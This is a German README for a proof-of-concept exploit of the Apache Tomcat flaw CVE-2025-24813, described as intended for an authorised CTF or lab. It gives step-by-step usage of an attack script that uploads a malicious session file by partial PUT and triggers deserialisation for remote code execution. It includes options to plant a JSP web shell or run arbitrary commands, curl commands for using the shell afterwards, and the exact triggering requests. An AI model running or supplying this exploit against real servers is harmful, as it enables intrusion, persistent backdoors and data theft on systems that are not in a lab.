CVE-2025-24813 Tomcat PoC

PoC für eine autorisierte CTF-/Lab-Umgebung. Es nutzt CVE-2025-24813 über das partielle PUT-Schreiben einer Tomcat-Session-Datei aus und löst anschließend die Deserialisierung mit JSESSIONID aus.

Voraussetzungen

• Python 3
• Python-Modul requests
• Java JDK (java und javac)
• Die enthaltene Datei commons-collections-3.2.1.jar, platziert in diesem Verzeichnis

ysoserial wird nicht benötigt.

Dateien

• poc_cve_2025_24813.py: Python-Wrapper, der Generierung, Upload und Trigger automatisiert.
• GenerateTomcatSessionPayload.java: erzeugt eine gültige Tomcat-Session, die ein CommonsCollections-Gadget enthält.
• commons-collections-3.2.1.jar: Abhängigkeit des Gadgets.
• sh.jsp: optionaler JSP-Shell, der per --drop-shell bereitgestellt wird.

Verwendung

Einen JSP-Shell im Standard-Webroot /opt/tomcat/webapps/ROOT ablegen:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id poc24813 \
  --drop-shell \
  --shell-name sh.jsp

Einen direkten Befehl ausführen, ohne einen Shell abzulegen:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --session-id cmd24813 \
  --cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'

Falls sich das Webroot unterscheidet:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --drop-shell \
  --webroot /path/to/webroot \
  --shell-name sh.jsp

Falls das JAR verschoben wurde, dessen Pfad angeben:

./poc_cve_2025_24813.py http://TARGET:8080 \
  --jar /path/to/commons-collections-3.2.1.jar \
  --drop-shell

Nach der Ausnutzung

Falls --drop-shell erfolgreich war:

curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp

Bedingungen auf der Zielseite

• Verwundbare Tomcat-Version.
• DefaultServlet beschreibbar, typischerweise readonly=false.
• Unterstützung für partielles PUT.
• Persistente Sessions über PersistentManager und FileStore.
• Gadget-Kette auf dem Server verfügbar, hier commons-collections.

Das erwartete Verhalten beim Upload ist häufig HTTP 409 Conflict auf:

PUT /<session-id>/session
Content-Range: bytes 0-1000/1200

Danach wird die Deserialisierung ausgelöst mit:

Cookie: JSESSIONID=.<session-id>